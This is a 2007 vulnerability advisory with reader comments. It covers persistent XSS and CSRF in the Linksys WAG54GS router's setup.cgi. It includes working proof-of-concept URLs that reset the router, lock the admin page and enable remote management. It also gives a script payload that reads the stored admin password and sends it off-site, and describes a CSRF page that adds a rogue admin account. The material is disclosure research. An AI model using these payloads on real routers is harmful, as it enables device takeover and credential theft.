Persistent XSS and CSRF on Wireless-G ADSL Gateway with SpeedBooster (WAG54GS)

Tue, 20 Nov 2007 20:51:16 GMT

I really think that web interfaces are the low-hanging fruit of embedded devices. Sure classic attacks such as predictable SNMP community strings, exposed TFTP services and buffer overflows still apply. However, by exploiting the web interface we can steal the data we want, we can enable remote access to the compromised router, we own the victim's connection. In short, bugs on the web interface gives us all we need! Anyway, enough talking! The following are some of the issues I found on the Cisco Linksys WAG54GS.

The following vulns were found on 24 June 2007 and were tested against firmware V1.00.06. The specific persistent XSS holes mentioned in this advisory were fixed by Cisco on firmware version V1.01.03. However, there are still several other persistent XSS plus the system-wide CSRF in the latest firmware. CVE-2007-3574 has been assigned to these issues. Thanks a lot to Cisco for being so great when dealing with my emails! Credits also go to pdp for providing feedback, ideas and allowing me to play with his spare WAG54GS router.

By the way, part of this advisory got leaked some time ago on FD, but I am publishing it as a formal release with additional information including a password leak which can be combined with any of the persistent XSS holes found (keep reading for more info on this).


There are several persistent XSS vulnerabilities on the /setup.cgi script. It is possible to inject JavaScript by assigning a payload like the following to any of the vulnerable parameters:


The vulnerable (non-sanitized) parameters are the following: `devname`, `snmp_getcomm`, `snmp_setcomm`, `c4_trap_ip_`. Additionally, all HTTP requests are not tokenized with random values. Thus, all requests to the router's HTTP interface are vulnerable to Cross-site Request Forgeries (CSRF), perhaps by design. The following is an example of a HTTP request (notice the lack of non-predictable tokens):

POST /setup.cgi HTTP/1.1
Authorization: Basic YWRtaW46YWRtaW4=


Although the original request is a POST, we can convert it to a GET, so that all posted parameters can be submitted on a single URL. For example, the previous POST request can be converted to a URL such as the following:

http://admin:[email protected]/setup.cgi?mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file=Factorydefaults.htm&next_file=index.htm&message=

By forging administrative requests (Administration button on the router's HTML menu), an attacker can compromise the router provided the victim user visits a malicious URL or HTML page. The attack can only be successful if the administrator hasn't changed the default credentials (admin/admin) or the administrator's browser has an active authentication session with the router's interface when the attack happens (highly unlikely)

### Persistent XSS PoC

The following URL creates a DoS condition by making the Administration page inaccessible since `history.back()` will run every time the Administration page is visited. Thus the administrator won't be able to ever change the default credentials unless a hard reset is performed by using the router's physical "restart" switch:

http://admin:[email protected]/setup.cgi?user_list=1&sysname=admin&sysPasswd=admin&sysConfirmPasswd=admin&remote_management=enable&http_wanport=8080&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable&save=Save+Settings&h_user_list=1&h_pwset=yes&pwchanged=yes&h_remote_management=enable&c4_trap_ip_=">history.back()&h_snmp_enable=enable&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Administration.htm&next_file=Administration.htm&message=

Note that he administration page (`/setup.cgi?next_file=Administration.htm`) returns the admin password within the client-side HTML source code as a hidden field. i.e.:

<input type="hidden" name="old_pwd" value="admin">

Therefore, we could also inject a payload in our persistent XSS attack which accesses the admin password through the DOM object:


...and submits it to the attacker's site every time the page is accessed. That way, even if the victim admin changed the password, the attacker would receive the value of the new password! Here is an example payload:

"><script>img=new Image();img.src=''+document.administration.old_pwd.value</script><a b="

### CSRF PoC

The following HTML page does the following:
  • adds an additional administrative account, with a username equals to 'attacker' and a password equals to 0wned (without removing original admin account!)
  • enables remote HTTP management over port 1337
  • sets other settings that are inrelevant to this discussion

The first URL forges the administrative request using the default credentials, so it won't work if default credentials have been changed. The second URL doesn't specify any credentials as an attempt to use the browser's cached credentials. If the admin user has clicked on "Save password" on the basic authentication prompt, most browsers will prompt the user to confirm submitting the cached credentials. The only situation in which browsers won't ask the user to confirm submitting the credentials would be if the malicious CSRF page was visited while the browser has an active authenticated session with the router's HTTP interface (very unlikely).

Additional notes

  • router reboots after saving settings (requests sent to setup.cgi)
  • all attacks were tested using Internet Explorer 7
One kinda tangential question -- I haven't played with it in a little while, but when I was doing something similar with a linksys a while back, if you specified the username:password in the url in a link, Firefox would trap the request and alert the user. Is there a type of request that bypasses that, or does IE7 not have the same feature? I realize that doesn't actually fix the problem, but it at least does give the user a chance to say no and keeps the CSRF from working without their knowledge if they know what they're doing (hah!) Unless of course they're still logged in to the router when the attack occurs in which case no need to pass the credentials in the URL at all...
Adrian PastorAdrian Pastor
Jordan, newer browsers like FF 2 spawn a warning when typing 'http://admin:[email protected]/' and similar URLs which submit basic auth credentials. However, when playing with these attacks I remember getting more a interesting behavior on FF 2 if embedding URLs within HTML - ie: on iframes. Anyway, the best persistent XSS/CSRF type of flaw you can get is within log facilities. Reason being is that when the injected payload is triggered, the victim admin must be logged in by design (in order to check the logs) - hence no need to submit the password along the CSRFed request. I found something like this on Axis IP cameras:
Nice one